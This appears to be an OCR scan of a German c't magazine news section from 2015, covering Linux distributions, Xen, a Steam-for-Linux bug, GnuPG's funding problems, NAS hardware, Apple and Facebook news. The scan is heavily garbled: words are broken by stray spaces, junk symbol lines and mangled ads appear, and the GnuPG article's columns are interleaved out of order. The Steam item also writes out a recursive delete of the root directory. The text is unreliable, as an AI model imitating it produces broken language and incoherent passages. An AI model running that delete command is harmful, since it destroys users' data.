in den Plasma-Einstel l ungen konfigurieren. 

'"'"""' @ f-IP.9 ..".  - 0.01 

Kubuntu wird in der kommenden Ver­
sion 1 5 .04 (Vivid Vervet) den Plasma-S-Desk­
top standardmäßig verwenden - die aktue l le  
Alpha 2 br ingt bereits eine Vorabversion von 
P lasma 5.2 mit, die recht stab i l  l äuft und 
e inen guten E indruck von den Neuerungen 
in  KDE 5 vermittelt. E ine Reihe von KDE-An­
wendungen, darunter die Editoren Kate und 
KWrite, das Termina lprogramm Konsole und 
der B i ldbetrachter Gwenview, s ind bereits 
auf d ie KDE Frameworks 5 portiert, d ie den 
techn ischen Unterbau der neuen KDE-Gene­
ration ste l len .  (odi@ct.de) 
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Plasma 5: die nächste Generation von KDE 

Debian 8: Erster Release Candidate 

Knapp d rei Monate nach dem Einfrieren der 
Softwa re-Vers ionsstände Ende November 
haben d ie Entwickler  des Debian- l nsta l le rs 
den ersten Release Candidate der kommen­
den Version 8 veröffentl icht. Jessie ist offen­
bar auf einem guten Weg: Seit dem Freeze ist 
die Zah l  der Release-kriti schen Bugs von 
über 300 auf unter 200 gesunken .  Neben 
Bugfixes unter anderem beim Umgang mit 

feh lenden F i rmwa re-Dateien bringt der RC 1 
das neue Theme "Li nes" fü r den Standard­
Desktop Gnome 3 . 1 4. 

Jessie verwendet den L inux-Kernel 3 . 1 6, 
X.org 7.7 und die G l ibc 2 . 1 9. Als l n it-System 
kommt standardmäßig Systemd zum Einsatz. 
Debian 8 ist fü r zah l reiche Plattformen ver­
fügbar, darunter jetzt auch 64-bittige ARM­
und PowerPC -Prozessoren. (odi@ct.de) 

Evolve OS wi l l  auf den Linux-Desktop 

Evolve OS geht neue Wege: Die Desktop-Dis­
tr ibution setzt nicht auf Debian/Ubuntu oder 
einem anderen gängigen Linux auf, sondern 
ist von Grund auf neu entwickelt. Der über­
sichtl iche Budgie-Desktop orientiert sich an  
Googles Chrome OS; er setzt auf Gnome 3 . 1 4 
auf. Es g ibt e in eigenes Software-Center na­
mens evo lve-sc und e inen e igenen Paket­
manager eopkg, der von dem Paketmanager 
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Pisi der tü rkischen Pardus-Distri bution abge­
leitet ist. Nachteil der eigenen Wege: Das Soft­
wa reangebot ist lä ngst nicht so umfangreich 
wie bei anderen Distributionen. 

Die erste Betaversion von Evolve OS steht 
als 64-Bit-Live-System mit l nsta l ler zum Down­
load bereit. Unterstützung für UEFI, LVM, VPNs 
und Festplattenversch l üsse lung versprechen 
die Entwickler für die Beta 2. (od i@ct.de) 

Evolve OS 
enthält mit 
Budgie einen 
eigenen, 
sch lanken 
Desktop. 

• .. ..... ktvtttilt1 S'l""bot" ..",..�-$! 

• 
,._l«Wnutlill9 '"'-- St.- ten !A.:I SHflds'l ,..,_ 

1;1 * 
�Ltmml.l� _, .,..., -

Xen 4.5 verbessert 
ARM-Support 
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Die neue Vers ion 4.5 des Xen-Hypervisors 
verzichtet zugunsten der  neueren, i n  C ge­
schr iebenen Too l s  auf die alten Python­
Too ls  i nkl u sive Xend .  Dank  erheb l icher Ver­
besserungen an der  ARM-Portie rung l äuft 
der  Xen-Hypervisor auf deut l ich mehr ARM­
SoCs und -Boa rds; neu h i nzugekommen 
s ind unter anderem AMD Seatt le, Calxedas 
Midway, e in ige Exynos-SoCs von Samsung 
sowie Cu bieBoard und  Cub ieTruck. So so l l  
Xen auf  Rechnern mit  sehr vie l  RAM deut­
l ich schne l le r  booten .  

Am x86-Hypervisor gab es k le inere Ver­
besserungen, die vor a l l em fü r g roße Xen­
Server mit viel RAM und  v ie len CPUs re le­
vant s ind. (odi@ct.de) 

Möglicher Datenverlust 
bei Steam 

U nter bestimmten Bed ingungen löscht der 
Steam-Ci ient fü r L inux bei der Deinsta l lat i­
on oder einer Neu i nsta l lat ion Daten des Be­
nutzers. Der Feh ler  kann  offenbar dadurch 
au sge löst werden, dass die Steam-l nsta l l a­
t ion von Hand i n  e in  anderes Verze ichn i s  
verschoben wird.  

Das Skr ipt steam.sh füh rt dann unter Um­
ständen den Befeh l  rm -rf I aus - zum Glück 
nu r  mit Benutzer-, n icht mit Root-Rechten, 
sodass zumindest das System nicht beschä­
digt wird. A l l e rd ings  werden da bei a l l e  
Daten ge löscht, fü r d ie  de r  Benutzer 
Schreibrechte hat. Steam hat i nzwischen ein 
U pdate des Stea m-Ci ients veröffent l i cht, 
das den Feh ler  behebt. (od i@ct.de) 
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Fabian A. Scherschel  

Versch l üsselung 
hat ihren Preis 
GnuPG in der F inan zmisere 

l n  Zeiten der a l lgegenwärtigen Ü berwachung durch 
Geheimdienste ist  E-Mai l -Versch lüsse lung in  a l ler  Munde. 
E iner der wenigen sol iden Eckpfei ler ist GnuPG. Um so 
überraschender ist es da, dass die Entwickler d ieser 
krit ischen Software n icht über die Runden kommen.  

N SA, GCHQ und ih re Verbün­
deten verfügen über fast 

unerschöpfl iche Budgets, um die 
e lektronische Kommun ikat ion 
weltweit zu überwachen. Wer sich 
gegen d iesen massiven Ang riff 
auf d ie  Pr ivatsphäre der Bü rger 
schützen wi l l ,  muss auf Software 
zurückg reifen, die von e in igen 
wenigen Entwicklern, oft in  ih rer 

Snowden selbst betont, dass er 
GPG sein Leben anvertraut habe. 

Auch auf der Hacker-Kon­
ferenz 31 C3 berichteten Lau ra 
Poitras und  Jacob Appe lbaum, 
wie wichtig versch lüsselte Kom­
mun ikation fü r Aktivisten, Dissi­
denten und Journa l isten ist. 
Appel baum bat Werner Koch 
aufzustehen und der Beitrag des 

"Jeder sollte euch finanziell unterstützen. 
Meine Arbeit wäre ohne eure Arbeit nicht möglich. fl 

Laura Poitras auf dem 1 1  CJ 

F reizeit, geschr ieben und ge­
pflegt wird. Diejen igen d ieser 
Entwickler, d ie  versuchen, i h r  
Hobby zum Beruf zu machen, 
können davon oft nur eher 
schlecht a l s  recht leben.  

Entwicklers und se iner Ko l l egen 
wurde vom pra l l  gefü l lten Audi­
tori um  in  Harnburg mit frene­
t ischem Beifa l l  gewürdigt. Die 
Nachfrage nach e iner ver läss l i ­
chen Mög l ichkeit zur E-Mai l -Ver­
sch lüssel ung ist a lso eher g rößer 
a l s  kle iner geworden. 

Das hat s ich a l lerd ings in  der letz­
ten Zeit geändert. 

Aus e iner Anfrage des Grü­
nen-Abgeordneten Hans-Chri­
sti an  Ströbele im Bundestag 
geht hervor, dass das I n nenmi­
nisterium  nun  hauptsächl ich da­
rauf setzt, dass d ie Open-Sou rce­
Gemeinde sich schon um GnuPG 
kü mmern werde. Die "Pflege 
und Weiterentwickl ung"  von 
GnuPG erfo lge " im Rahmen 
e ines etab l ierten, funktionieren­
den und vertei l ten Entwick­
l ungsmode l l s", so der Par lamen­
ta rische Staatssekretä r des I n­
nenmin isteri ums Dr. Günter 
Kri ngs .  Dass Werner Koch d iese 
Aufgabe fast im A l le ingang be­
wä lt igt und dafü r  mit knappen 
32 000 Euro im Jahr nach Hause 
geht, kam nicht zur Sprache. Im­
merh in wi l l  das BSI d ie  GnuPG­
Entwickler  in Zukunft wieder 
fördern. Auf eine Anfrage von c't 
h in  tei lte d ie Behörde mit, noch 
i n  d iesem Jahr weitere projekt­
bezogene Gelder an d ie Entwick­
ler zah len zu wol len .  

Koch i st  nach e igenen An­
gaben mehrma ls  auf F i rmen zu­
gegangen, die GPG e insetzen, 
und hat um Finanzierung seiner 
Arbeit gebeten .  Kei n  I nteresse, 
h ieß es da oft. So lange GnuPG 
funkt ioniere und  keine g ra­
vierenden Sicherheits lücken auf­
weise, sähen F i rmen nicht e in,  
wa rum man seine Arbeit unter­
stützen sol le, sagt Koch.  Dabei 
hat d ie  Erfahrung mit OpenSSL 
und Heartb leed e indrucksvo l l  

E iner d ieser Entwickler sitzt 
mit seiner kle inen F i rma g 1 0  
Code i n  Düsseldorf und kümmert 
sich um den GNU Privacy Guard, 
a uch als GnuPG oder GPG be­
kannt. Werner Koch hat die Soft­
ware mitentwickelt und pflegt sie 
seit den Neunzigern. Der Name 
"g 1 0 Code" i st  e ine Anspie lung 
auf Artikel 1 0 des  Grundgesetzes, 
a lso jenen Tei l  der Verfassung, 
der Brief- und Fernmeldege­
heimnis garantieren sol l .  

"Trotz unserer niedrigen Gehälter haben 
wir in den letzten drei Jahren ungefähr 

9000 Euro Verlust gemacht." 
Werner Koch, GnuPG-fntwickler 

gezeigt, warum eine solche Ein­
ste l l ung  fata l ist. Und der Ver­
g le ich mit d ieser anderen wich­
tigen Krypta-B ib l iothek ist ga r  
nicht so weit hergeholt . D ie  Ent­
wickler um Koch kümmern s ich 
um knapp 30 000 Zei len Code -

zuste l l en, wer da e igent l ich am 
Kerne! ih res Betriebssystems mit­
baut. Und auch d ie I ntegrität 
des herunterladbaren Quel lcodes 
wi rd mit GnuPG überprüft. 

Auf Dauer  erhoffen s ich d ie 
GnuPG-Macher die Unterstützung 
einiger F i rmen oder gemeinnüt­
ziger Organisat ionen. Bis dah in  
sammel t  das Projekt auf se iner 
Webseite gnupg.org Geld von 
einzelnen Unterstützern. Fü r  e ine 
stab i l e  F inanzierung benötigen 
d ie Entwickler nach e igenen An­
gaben 1 20 000 Euro im Jahr. Fast 
e in  Drittel d ieses Betrages ist 
seit Mitte Dezember zusammen­
gekommen. 

Ob GPG die beste Lösung fü r 
E-Ma i l -Versch lüsse lung da rste l l t, 
darüber lässt sich streiten. Nicht 
umsonst haben sich Ende-zu­
Ende versch lüsselte Mai ls  beim 
Großtei l  der Nutzer nie durchge­
setzt. Viele Probleme l iegen a l ler­
d ings in den g rafischen Oberflä­
chen, mit denen Benutzer kon­
frontiert werden. Die Grundlage, 
GnuPG, wi rd von Krypta-Exper­
ten weitestgehend a l s  sol ide an­
gesehen. Es mag sein, dass GPG 
in  Zukunft du rch ein besseres 
Protokol l  abgelöst wird - Ansätze 
in diese Richtung g ibt es mehre­
re. Wer aber heute seine E-Ma i l s  
gegen ungewol lte Mitleser schüt­
zen wi l l, der ist mit GPG wohl am 
besten beraten. Damit das  so  

Koch kann  von seiner Arbeit 
an  der Versch l üsse lungssoftware 
eher sch lecht als recht leben, des­
ha lb hat er nun  eine Crowd­
funding-Kampagne gestartet, um 
sich über Wasser zu ha lten und 
weitere Entwickler ins Boot zu 
holen. Anfang 201 3 dachte er 
schon einmal daran, das ganze 
Projekt h inzuschmeißen und von 
anderen Coder-Jobs zu leben -
doch dann kam Edward Snow­
den und rückte d ie Bedeutung 
von E-Mail-Verschlüsselung erneut 
in  den Fokus. Seitdem redet man 
sogar i n  Nachmittags-Ta l kshows 
über sichere Kommunikation und 

Trotzdem fehlt es offenbar an  
Geld für d ie  Entwicklung und I n ­
standhaltung einer so  wichtigen 
Softwarekomponente. Wie kommt 
das? Das g rößte Problem scheint 
zu sein, dass GnuPG nun mal 
gut funktioniert. Als es noch neue 
Funktionen in  GPG zu implemen­
tieren gab, wurde Koch von meh­
reren Seiten gefördert. So zum 
Beispiel gab die Bundesregierung 
vor einigen Jahren Geld im Rah­
men des Projektes Ägypten, wel­
ches zum Ziel hatte, GPG mit Un­
terstützung fü r S/MIME zu versor­
gen. Auch die Entwicklung von 
Gpg4win, eine Windows-Lösung 
zur Datei- und E-Mai l -Verschl üs­
selung, wurde über das Bundes­
amt fü r Sicherheit in der I nforma­
tionstechn ik (BSI) mitfinanziert 

f/Oas BSI plant, in diesem Jahr die Weiterentwicklung von 
GnuPG projektbezogen aktiv weiter zu unterstützen." 
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Stellungnahme des BSI 

ähn l ich viel wie bei OpenSSL 
und OpenSSH zusammen.  GPG 
s ichert zwa r n icht das Gros der 
versch lüsselten Kommun ikation 
im Netz, ist aber  doch als Bau­
ste in  an  vie len Punkten im  E in­
satz. So nutzen zum Beispiel d ie 
Linux-Entwickler GPG, um sicher-

bleibt, werden sich auf Dauer 
ein paa r gewichtige Unterstützer 
einfinden müssen. Crowdfunding 
einzelner Nutzer funktioniert zur 
Überbrückung der akuten Misere, 
a l s  dauerhaftes F inanzierungs­
model l  ist es a l lerdings zu unzu­
verlässig. (fab@ct.de) 
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Extras auf dem NAS 

Asustor und Qnap erweitern ihre 
x86-Netzwerkspeicher um zusätz­
l iche F inessen bei der Medienwie­
dergabe. Die neuen NAS-Systeme 
der Reihen AS50xxT und AS5 1 xxT 
von Asustor spie len Videos seit 
dem Update auf ADM 2.3 über 
die XBMC-Beta 1 3. 1  in  Ful l HD ab. 
Auf der  AS70xxT-Serie so l len 
dank XBMC 1 3.2 sogar 4K-Videos 
laufen. So sch l ießt Asustor zu den 
neuen Geräten von Qnap auf. 

Fü r  d ie beiden ersten Reihen 
hat der Herste l ler  neue Mode l le  
mit  je acht oder zehn Schächten 
fü r Speichermedien im 2,5- und 
3,5-Zo i i -Format veröffent l icht .  
Der Hotswap-fähige SATA-3-Con­
tro l le r  baut Speicherverbünde 
wah lweise mit RAID  1 ,  5, 6 oder 
1 0 auf. l n  der AS50xxT-Serie sit­
zen ein 2,41 GHz schnel ler l ntei­
Celeron-Duai-Core-Prozessor und 
1 GByte DDR3L-Speicher. Bei der 
ASS l xx-Reihe kommen ein 2 GHz 
schnel ler Celeron-Quad-Core und 
2 GByte RAM zum Einsatz. Maxi­
mal fassen die Geräte 8 GByte 
Speicher. Mit externen Speichern 

- ... . . - ... . . 
- - - - - - - - Die neuen Netz­

werkspeieher 

-

kommun izieren sie über d rei 
USB-3.0-Schnittstel len, zwei USB-
2.0-Ansch lüsse und über zwei 
eSATA-Ports. Außerdem besitzen 
die Geräte einen HDMI-An­
sch luss, einen optischen Audio­
ausgang {S/PDI F), einen I nfra rot­
Empfänger und vier Gigabit­
Ethernet-Ansch lüsse. 

Die Model le  AS5008T und 
ASSOl  OT kosten rund 844 und 
1 059 Euro. Fü r  d ie Netzwerkspei­
cher ASS l OBT und ASS l l OT ver­
langt Asustor rund 963 und 1 082 
Eu ro. A l l e  vier Geräte so l len im 
Februar erscheinen. 

Qnap hat die Medienwieder­
gabe bei seinen NAS-Systemen 
ink lusive der neuen Bau reihen 
TVS-x63 und TVS-x7 1 überar­
beitet. Ab Betriebssystemversion 
QTS 4.1 .2 versorgen die Netz­
werkspeieher etwa Airplay-Ci ients 

von Asustor und 
Qnap br ingen um­
fassende Medien­
wiedergabe­
funktionen mit. 

oder Chromecast-Sticks mit Me­
dieninha lten. Diese Funktion fin­
det sich sonst etwa auf Netzwerk­
speichern von Synology. Beide 
neuen Produktserien bietet Qnap 
mit vier, sechs oder acht Schäch­
ten fü r 2,5/3,5-Zoi i -Speicherme­
dien und e inem Hotswap­
fähigen SATA-3-Contro l ler  an .  

ln TVS-x63-Geräten arbeitet ein 
2,4 GHz schnel ler Quad-eore-Pro­
zessor der Embedded-G-Serie von 
AMD, der in etwa so viel leistet wie 
ein Intel Celeron J 1 800 mit 4 Ker­
nen. Bei der Speicherkonfigura­
tion wählt der Käufer zwischen 
4 und 8 GByte an DDR3-RAM; ma­
ximal sind 1 6  GByte möglich. Für 
verkabelte Verbindungen sorgen 
fünf USB-3.0-Ports, zwei HDMI­
Ansch lüsse sowie zwei Gigabit­
Ethernet-Ports. Über einen PCie­
S iot lässt sich ein 1 0-GE-Adapter 

aktuel l  I Netzwerkspeicher 

mit einem oder zwei l OGBase-T­
Ansch lüssen nach rüsten. 

Die TVS-x71 -Reihe stattet Qnap 
wah lweise mit I ntel-Prozessoren 
vom Pentium G3250 (3,2 GHz, 
Duai-Core) bis zum Core-i7 4790S 
(3,2 GHz, Quad-Core) aus .  Als 
Speicherkonfigurationen stehen 
4, 8 oder 16 GByte DDR3 zur Ver­
fügung, maximal  s ind hier 32 
GByte möglich. An Bord sind drei 
USB-3.0-Ports, zwei USB-2.0-An­
sch lüsse, ein HDMI-Port sowie 
zwei mSATA-Schnittste l len, wel­
che F lash-Modu le fürs Caching 
aufnehmen. Über zwei PCie­
Schnittste l len lassen sich bis zu 
vier 1 0-GE-Schnittstel len nachrüs­
ten. Die TV-x63-Reihe kostet zwi­
schen 784 und 1 379 Euro. Fü r  
TVS-x871 -Geräte ver langt Qnap 
zwischen 998 und 2260 Euro. 

Fü r  e inen s imp len F i leserver 
genügen d ie günstigen Model le .  
Wer auf den Qnap-Netzwerk­
speichern vie le VMs nutzt, der 
profit iert von der zusätzl ichen 
Leistung der Core-i-Prozessoren. 

(fkn@ct.de) 
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HomeKit baut Brücken 

Glaubt man US-Medienberich­
ten, wi l l  Apple fü r se ine Smart­
Horne-Plattform HomeKit e ine 
I nteg ration von Geräten mit den 
Funkstandards Zigßee und Z­
Wave zu lassen. HomeKit-Geräte 
nutzen WLAN und B luetooth; fü r 
d ie  anderen Heimautomatis ie­
rungs-Produ kte benötigt man 
e ine (b i sher  noch n icht erhä l t­
l iche) Br idge, d ie  ebenso wie 
HomeKit-Produkte über e inen 
von Apple zertifiz ierten Krypta­
ch ip verfügt. Ausnahmen s ind 

Smartphone-Verkäufe: 

B luetooth-LE-Geräte, die nu r  
Sensor-Daten l iefern und nichts 
Wichtiges schalten. Außen vor 
ble iben der Thermostat Nest des 
Konku rrenten Goog le und B l ue­
tooth-LE-Lampen ohne Home­
Kit-Logo. 

Be lki n  hat unterdessen e ine 
HomeKit-Unterstützung seiner 
WeMo-Fami l ie  fü r d ie "sehr nahe 
Zukunft" angekünd igt. Existie­
rende Belki n-Geräte nutzen den 
Zigßee-Standard zur Kommuni­
kation. (jes@ct.de) 

Apple und Samsung gleichauf 

Im  Smartphone-Geschäft konnte 
Apple im letzten Quarta l mit 
Samsung g leichziehen, so d ie 
Marktforscher von Strategy Ana­
lytics. Seide Unternehmen hätten 
jewei ls etwas mehr als 74 Mi l l io­
nen Geräte verkauft und erreich­
ten somit einen Marktantei l von 
knapp 20 Prozent. Danach folgen 
weit abgeschlagen die chinesi-

Kostenloser Swift-Kurs 

Das Seminar "Deve lop ing iOS 8 
Apps with Swift" der Stanford 
Un iversity steht a l s  kosten lose 
Videoserie in  iTunes U bereit . Es 
wird vom renommierten Profes­
sor Pau l  Hega rty an der School of 
Eng ineeri ng geha l ten .  Bereits 
verfügbar  sind die Tei le :  " l ntro­
duction to iOS, Xcode 6 and 

sehen Herstel ler Lenovo-Motoro­
la und Huawei mit jewei ls  6,5 
Prozent. Obwoh l  Apple so viele 
iPhones wie nie zuvor verkaufen 
konnte, steigerte sich der Markt­
antei l im Verg leich zum Vor­
jahresquarta l um verg leichsweise 
bescheidene 2 Prozent. Samsung 
hingegen verlor im g leichen Zeit­
raum 1 0  Prozent. (tru@ct.de) 

Swift", "More Xcode and Swift, 
Us ing MVC in iOS, Swift and  
Foundation" und "Using MVC in  
iOS". Neben der Videopräsenta­
t ion stehen auch d ie Schaubi lder 
des Seminars zum Down load 
bereit. (jes@ct.de) 

c't iTunes U :  ct.de/yz29 

Ein kosten loses Seminar der Stanford University bei iTunes U 
erklärt das Programmieren mit Swift. 
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iPhone 6 beschert Apple Mega-Rekord 

Apple erwirtschaftete zwischen 
Oktober und Dezember 201 4 
mit 1 8  M i l l ia rden US-Do l l a r  den 
höchsten Quarta lsgewinn der F i r­
mengeschichte. Das ist sogar der 
höchste Gewinn, den ein Unter­
nehmen jemals binnen d rei Mo­
naten erzie lt hat. Der Umsatz er­
reichte ebenfa l l s  einen neuen Re­
kord von 74,6 M i l l ia rden Do l la r. 
Apples sogenannte Barreserven 
umfassen jetzt einen Betrag von 
1 78 Mi l l iarden Dol lar. 

Das iPhone brachte gut zwei 
Drittel der Umsätze der F i rma .  
74,5 M i l l ionen Stück verkaufte 
Apple a l le in  im Weihnachtsquar­
taL Die neuen Mode l le  iPhone 6 
und 6 P lus mit g rößeren Displays 
l iefen besonders erfo lg re ich.  
Apple habe so viele i Phones ver­
kauft, wie man nu r  herste l l en 
konnte, sagte Konzernchef T im 
Cook. P ro Sekunde wurden im  
Schn itt meh r  a l s  neun  iPhones 
ausgel iefert. 

Der i Pad-Absatz sank  demge­
genüber um 1 8  Prozent auf 2 1 ,4 
Mi l l ionen Geräte. Die Mac-Spa rte 
steht mit 1 4  Prozent mehr 
verkauften Rechnern gut da, das 
entspricht 5,2 Mi l l ionen Stück. 

Bei der Telefonkonferenz mit 
Ana lysten prophezeite Cook: 
"201 5 wird das Jah r  von Apple 

Gewinn und Umsatz 
Das Weihnachtsquartal war 
das beste in Apples Firmen­
geschichte und mit den 
höchsten Gewinnen überhaupt. 

Gewinn 13,1 1 0 2 8 5 118,0 
. .. ... .. 

1114 2114 3/14 4/14 1/15 

fiskalische Quarta le 

Pay". Der neue Bezah ld ienst ist 
b isher nu r  in den USA nutzbar. 
Nebenbei verkündete Cook den 
Verkaufsbeg inn  der  Computer­
Uh r  Apple Watch fü r Apri l .  I nsge­
samt habe der Konzern weltweit 
e ine M i l l ia rde iOS-Geräte ver­
kauft. Im Mittel besitzt a l so jeder 
siebte Erdenbürger e ines. Weni­
ge Tage nach der  Verkündung 
der Rekord-Zah len erreichte d ie  
Apple-Aktie e in A l lzeithoch von 
1 20 US-Do l la r. (jes@ct.de) 

Updates für OS X und iOS 

Ende Januar hat Apple Mac OS X 
auf 1 0.2.2 und iOS auf 8 . 1 .3 ak­
tua l i s iert. Die neue Vers ion von 
Yosemite behebt d iverse (aber 
nicht a l l e) Probleme - unter an­
derem mit der seit Monaten wa­
ckel igen WLAN-Stabi l ität, verzö­
gertem Laden von Websites und 
der Synchron isat ion von B lue­
tooth-Kopfhörern. Die System­
suche Spotl ight lädt nun nicht 
mehr datenschutzrecht l ich be­
denkl ich I nha lte aus E-Mai l s  nach 
und iC ioud-Drive-l nha lte lassen 
sich jetzt einfach aus Time-Ma­
chine-Backups wiederherste l len .  
Die Kindersicherung kann  man 
nicht mehr einfach umgehen. 

Außerdem stopft Mac OS X 
1 0. 1 0.2 zusammen mit Safar i  
7 . 1 .3 rund d rei Dutzend Sicher­
heits löcher. Fü r  ä ltere Systeme 
bis 1 0.8 s ind d ie Patches a l s  se­
pa rate Updates ersch ienen. Ab­
geschaltet wurde unter anderem 
der Thunderstr ike-Ang riff, über 
den s ich via Thunderbolt e ine 
böswi l l ige F i rmware aufspie len 
l ieß .  Jetzt verbietet das System 

das Laden von Option-ROMs 
während e ines U pdates. Safar i  
ze igt F lash- Inha lte nu r  noch an, 
wenn  Adobes P lug- in auf dem 
neuesten Stand ist; anderenfa l l s  
b lockiert es sie. 

iOS 8 . 1 .3 behebt ebenfa l l s  
Feh ler, erhöht d ie Stabi l ität und  
verbessert d ie  Leistung .  So  be­
nötigen Updates nun  weniger 
Speicherplatz während der I n­
sta l lat ion. Darüber h inaus wu rde 
ein Problem behoben, bei dem 
Nutzer i h re Apple-ID-Passwörter 
fü r Face Time- und Messages-Zu­
gänge nicht eingeben konnten. 
Mu ltitouch-Gesten auf dem iPad 
a rbeiten zuver läss iger und d ie 
Systemsuche Spotl ight unter­
sch lägt i n  der Treffer l iste keine 
Apps mehr. Das Update stopft 
rund 20 Sicherheits l ücken, d ie  
unter anderem der Ta iG-Ja i l ­
break ausnutzte, und n immt die 
darauf fußende F reischa l tung 
wieder zurück. (jes@ct.de) 

c't I nfos zu den Updates: 
ct.de/yz29 
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Siri plaudert 
Kontaktdaten aus 

Auf  münd l iche Nachfrage, wem 
das angesprochene iPhone ge­
hört, l i efert Apples Sprachassis­
tentin S i r i  auch bei gesperrtem 
Display den kompletten Adress­
bucheintrag, den der Nutzer a l s  
seinen persön l ichen markiert hat 
und verkündet fröh l ich :  "Dieses 
wunderschöne Schmuckstück 
gehört ( . . .  ) " .  Das umfasst Telefon­
nummern, E-Ma i l ,  Ad ressen, Ge­
burtsdatum oder auch Benutzer­
namen bei sozia len Netzwerken. 
Selbst eventue l l  h i nterlegte No­
tizen werden angezeigt. Zudem 
nennt S i r i  Namensdeta i l s  zu Ei­
tern, Partnern oder Kindern, fa l l s  
man dies der Sprachassistentin 
im Vorfe ld m itgete i l t  hat. S i r i  
kann  sogar  zum Zuhause des 
Besitzers navig ie ren, das ist 
ebenfa l l s  bei gesperrtem Gerät 
mögl ich .  

Verl iert man sei n iPhone, 
kann  sich die Funktion als nütz­
l ich erweisen, sofern man auf 
e inen ehr l ichen F inder  stößt -
dafü r  bräuchte es a l lerd ings 
n icht d ie Herausgabe sämtl icher 
E i nträge des Ad ressbucheintra­
ges. Wer s ich daran stört, muss 
derzeit entweder den e igenen 
Adressbucheintrag auf e in Min i ­
mum kü rzen oder d ie  Sprach­
assistentin im Lockscreen kom­
plett abscha lten. Dies ist i n  den 
E instel l u ngen unter Touch I D  & 
Codesperre mögl ich. Ues@ct.de) 

Apples Sprachassistentin Siri 
g ibt bereitwi l l ig  Auskunft über 
den iPhone-Besitzer - auch bei 
gesperrtem Bi ldschirm. 

c't 20 1 5, Heft 5 

@ Apple-Notizen 

iTu nes 1 2. 1  beschert Mac­
Anwendern ein neues Steuer­
Widget fü r d ie Mitte i lungszen­
tra le. Darüber h inaus hat Apple 
d ie Synchron isation mit iPads, 
iPhone und iPods verbessert. 

1 6  Sicherheitsmängel behebt 
Version 7.0.3 der Apple-TV­
Software. Viele der Bugs sol len 

es theoretisch er laubt haben, 
beliebigen Code auszuführen ­
sogar mit Systemprivi legien. 

Seit dem 1 .  Februar dü rfen 
Händler keine iPhones, 
iPads und Macs mehr auf der 
Krim verkaufen. Apple folgt 
damit von der US-Regierung 
verhängten Sanktionen. 

aktuel l  I Apple 

E lgato ruft einige seiner 
mit B luetooth ausgerüsteten 
Zusatzbatter ien vom Typ 
Smart Power zurück. Der 
Akku kann  s ich i n  "seltenen 
Fä l l en  während des Wieder­
aufladens überh itzen", 
wa rnt der Herste l ler .  

�1: Elgato-Website: ct.de/yz29 

Qua l ityHosting 

Hosted Ex n ge 
B u s i n ess a nywhere, a nyt i m e ! 

Maximale Benutler I Postfächer 
Postfachspeicher 

Quallty FeaturePacks 
Verfügbarkeil -r 
Kostenfreie Nutlung gemäß v;;;;&l 

Hosted i n  Germany 
Cloud·Lösungen seit 1998 

1 5 G B  
optlonal 

99,9% 

Die Quallty FeaturePoch sind lntl'gra ler Bestandte l l  

d e r  Produ ktlinie Ente rprlse u n d  ke n nen optlonal zur 
Produktlinie Small Busi ness hinlugebucht werden. 
Sie bieten e>ck l uslve Quallty Exch•nge-F\mktionen w 
den Themen Sicherheit, Rec hte��erwalt ung, Advancl'd 
Spam· 8o \Ii rensch uit sowie User·, Gru ppen·, Kontakt· 
und BackuJ>-ManagemMt, dil' lhre tagl iehe Kommun!· 

katlon nac hha l�g gesichert opti m ieren . 

www.qua l ityhost i ng.de 



aktuel l  I I nternet 

Neue Facebook-AGB treten in Kraft 

Seit dem 30. Januar  gelten bei 
Facebook neue Nutzungsbedin­
gungen, d ie  umstrittene Verän­
derungen entha lten. So wi l l  das 
sozia le  Netzwerk künftig das 
Su rfverha lten seiner Mitg l ieder 
auswerten .  Besuchte Websites 
und benutzte Apps werden 
dann fü r persona l is ierte Wer­
bung ana lysiert. Bisher hat Face­
book vor a l l em d ie Aktivitäten 
i nnerha lb  des Netzwerks ausge­
wertet und etwa Anzeigen aus­
gel iefert, die zu den h interlegten 
"Gefä l l t mi r"-Angaben passen. 
Du rch d ie Erfassung weiterer 
Daten wi l l  Facebook "bessere" 
Werbung aus l iefern. 

Zusätzl ich p lant Facebook, 
standortabhängig zu werben. 
Über die Facebook-App und akti­
viertes GPS erfährt das Unterneh­
men, wo sich der Nutzer gerade 
befindet. Dieser erhält über d ie 
App dadurch zum Beispiel Ange­
bote einer Pizzeria um die Ecke. 
Außerdem verrät die App auf 
Wunsch, ob sich Facebook-Freun­
de i n  der Nähe aufha lten. Mit 
einem Kauf-Button sol l  es i rgend-

a 
e 

we. .. ........ .. ,.,.__ - -· 

wann möglich sein, d i rekt im so­
zia len Netzwerk zu shoppen. Der­
zeit testet Facebook die Option in 
ausgesuchten Regionen. 

Die neuen Richtl in ien s ind kla­
rer formu l iert und übersicht l ich 
struktur iert. Zusätzl ich erkl ä rt 
eine lnfo-Website, wie die Nutzer 
i h re Privatsphäre auf Facebook 
schützen können.  Mitgl ieder, die 
mit den neuen Änderungen 
nicht e inverstanden s ind, müs­
sen ih ren Facebook-Account lö­
schen - eine andere Wider­
spruchsmög l ichkeit b ietet das 
sozia le  Netzwerk nicht. 

E igent l ich so l l ten d ie neuen 
Datenrichtl in ien am 1 .  Januar  in  
Kraft treten. Nach Krit ik von Da­
tenschützern hat Facebook das 
Vorhaben aber verschoben. 
Auch der  Rechtsausschuss des 
Bundestages hatte sich mit den 
AGB beschäftigt: Abgeordnete 
krit is ierten, dass unkla r  sei, wel­
che Daten Facebook fü r welchen 
Zweck sammelt .  Trotz Kriti k hat 
Facebook keine Änderungen an 
den Nutzungsbed ingungen vor­
genommen. (dbe@ct.de) 

' . . .  

Facebook hat seine Datenrichtl in ien übersichtl icher 
strukturiert. Deren I nhalt aber sorgte bei Pol itikern und 
Datenschützern fü r Kritik. 

@ I nternet-Notizen 

Zwar konnte Yahoo se inen Umsatz im vierten Quarta l 201 4 
halten. Der Gewinn  jedoch brach um 82 Prozent auf 32 Mi l l ionen 
US-Do l l a r  e in .  Google verzeichnete einen Umsatzrekord von 
1 8, 1  M i l l ia rden US-Do l la r; der Gewinn  sank le icht . 

Mit Bing Translator übersetzt Twitter Kurznachrichten in  
40 Sprachen. Neu s ind außerdem eine native Video-Funktion 
und private Gruppen-Chats. 

Amazon hat einen E-Ma i l -Dienst fü r seine AWS-Cioud vorgestel lt . 
WorkMail richtet sich an Unternehmen, die eine eigene Mai i ­
Umgebung betreiben wol len .  
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WhatsApp bekommt Web-Ci ient 

WhatsApp-Nutzer können mit 
einem neuen Web-Ci ient auch im 
Browserfenster Nachrichten ver­
schicken. Derzeit funktioniert das 
nur  mit Chrome sowie Opera, d ie 
beide auf Chromium aufsetzen .  
B i s lang steht d ie Funktion fü r 
Nutzer von Android, Blackberry 
und Windows Phone bereit -
